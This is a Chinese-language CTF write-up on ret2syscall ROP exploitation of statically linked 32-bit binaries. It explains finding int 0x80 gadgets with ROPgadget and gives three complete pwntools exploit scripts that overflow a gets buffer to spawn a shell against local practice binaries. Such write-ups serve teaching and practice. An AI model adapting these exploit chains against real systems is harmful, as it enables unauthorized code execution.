當初學rop學到的ret2syscall,對int 0x80中斷了解還不是很深,這次又復習了一遍。雖然很簡單,但是還是學到了新東西。那么我們就從ret2syscall開始吧。
IDA一打開的時候,就看見函數窗口有超級多的函數,我就意識到,應該是靜態編譯。這樣軟件就沒調用libc,也就不存在leak libc版本來獲取shell地址了。記得以前做過的一道靜態編譯,利用的是ROPgadget。剛剛試了一下,發現這道題也可以,這個我們最后說。
IDA打開后搜索字符串,發現“/bin/sh”字樣,但是沒有system函數。那么我們就想到用系統調用的方法來拿到shell。系統調用需要一個函數就是int 0x80,我們用ROPgadget來搜索一下。
截圖中我們有了int 0x80的地址和“/bin/sh”的地址,再獲取一些給寄存器賦值的gadget就可以寫exp了,這里就直接貼上exp了。
1 from pwn import * 2 3 p = process('./ret2syscall') 4 5 binsh_addr = 0x080be408 6 pop_eax = 0x080bb196 7 pop_edx_ecx_ebx = 0x0806eb90 8 int80_addr = 0x08049421 9 10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr) 11 12 p.sendline(payload) 13 p.interactive()
這是我第一次學習時候的ret2syscall的時候的exp,當我今天又遇到一個這種類型的題。我們來細細看一下。
直接main函數一個gets溢出,然后就沒了。這道題是直接搜不出“/bin/sh”字符串的。但是其實如果真的掌握精髓的話,其實是可以拼接出“/bin/sh”字符串的,因為我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接過程中不知道該如何截斷一個字符串。那么我們還能怎么辦呢?既然是系統調用,那么我們不如調用一個read函數,來自己輸入“/bin/sh”吧。
自己輸入“/bin/sh”的話,就需要我們調用兩次int 80,但是,卻怎么也打不通。
這時候有師傅告訴我說,用ROPgadget這樣搜索,搜出來也是系統調用,我懷着疑惑,用qira看一下。
我們調用了兩次int80,但是匯編只顯示了一行,經過調試發現,當read執行完,執行shellcode的時候又會跳到第一個int80來系統調用。
那我們再看一下,第一次搜索出來的int80為啥不行。。。
發現這樣調用之后,任務直接就中斷了,就不會繼續執行了。。。
那么就總結出來了,如果只需要一次系統調用,可以用這種命令:ROPgadget --binary rop --only 'int'
如果我們需要多次系統調用,就只能用這個命令來找int 0x80 :ROPgadget --binary rop --opcode cd80c3
本題如果我們要自己輸入“/bin/sh”的話,就需要用這個找到的地址了。
那么我們貼一下這道題的exp:
1 from pwn import * 2 import time 3 4 p = process('./rop') 5 #p = remote('127.0.0.1',4000) 6 elf = ELF('./rop') 7 context.log_level = 'debug' 8 9 pop_eax_edx_ebx = 0x08053d14 10 pop_ecx = 0x080595b3 11 ret = 0x080481b2 12 #int80 = 0x0806c405 #int80 13 int80 = 0x0806ef00 #ROPgadget --binary rop --opcode cd80c3 14 buf = elf.bss() + 0x300 15 payload = 'a'*22 16 payload += flat([ 17 pop_eax_edx_ebx, 18 0x3, 19 0x10, 20 0x0, 21 pop_ecx, 22 buf, 23 int80, 24 pop_eax_edx_ebx, 25 0xb, 26 0x0, 27 buf, 28 pop_ecx, 29 0x0, 30 int80]) 31 p.sendline(payload) 32 sleep(1) 33 p.send('/bin/sh\x00') 34 sleep(1) 35 p.sendline('cat flag.txt') 36 p.recv() 37 p.close()
說到這里,其實也該完了,但是我發下ROPgadget是真的牛逼。他還有這么一行命令:
ROPgadget --binary rop --ropchain
這行命令,會自己從程序里面找gadget片段,然后拼接出shellcode,如果這道題用這種方法做,我貼一下exp:

1 from pwn import * 2 from struct import pack 3 import time 4 5 z = process('./rop') 6 #p = remote('127.0.0.1',4000) 7 elf = ELF('./rop') 8 context.log_level = 'debug' 9 10 p = 'a'*22 11 12 p += pack('<I', 0x0806e7da) # pop edx ; ret 13 p += pack('<I', 0x080ec080) # @ .data 14 p += pack('<I', 0x080b90f6) # pop eax ; ret 15 p += '/bin' 16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 17 p += pack('<I', 0x0806e7da) # pop edx ; ret 18 p += pack('<I', 0x080ec084) # @ .data + 4 19 p += pack('<I', 0x080b90f6) # pop eax ; ret 20 p += '//sh' 21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 22 p += pack('<I', 0x0806e7da) # pop edx ; ret 23 p += pack('<I', 0x080ec088) # @ .data + 8 24 p += pack('<I', 0x08049173) # xor eax, eax ; ret 25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 26 p += pack('<I', 0x080481c9) # pop ebx ; ret 27 p += pack('<I', 0x080ec080) # @ .data 28 p += pack('<I', 0x080595b3) # pop ecx ; ret 29 p += pack('<I', 0x080ec088) # @ .data + 8 30 p += pack('<I', 0x0806e7da) # pop edx ; ret 31 p += pack('<I', 0x080ec088) # @ .data + 8 32 p += pack('<I', 0x08049173) # xor eax, eax ; ret 33 p += pack('<I', 0x080be674) # inc eax ; ret 34 p += pack('<I', 0x080be674) # inc eax ; ret 35 p += pack('<I', 0x080be674) # inc eax ; ret 36 p += pack('<I', 0x080be674) # inc eax ; ret 37 p += pack('<I', 0x080be674) # inc eax ; ret 38 p += pack('<I', 0x080be674) # inc eax ; ret 39 p += pack('<I', 0x080be674) # inc eax ; ret 40 p += pack('<I', 0x080be674) # inc eax ; ret 41 p += pack('<I', 0x080be674) # inc eax ; ret 42 p += pack('<I', 0x080be674) # inc eax ; ret 43 p += pack('<I', 0x080be674) # inc eax ; ret 44 p += pack('<I', 0x0806c405) # int 0x80 45 z.sendline(p) 46 z.interactive() 47
payload直接用自動生成的就可以,仔細閱讀一下自動生成的,發現就是都是利用片段拼接,而且只調用了一次int 0x80,調用的這次也是咱們那個只能用一次的int 0x80的那個地址。這樣,這種題目就算是分析透徹了。
當然這種直接生成的payload一般都比較長,適用於gets函數,我做了一道題是read,因為限制長度就不能用。
好了,分析就到這了。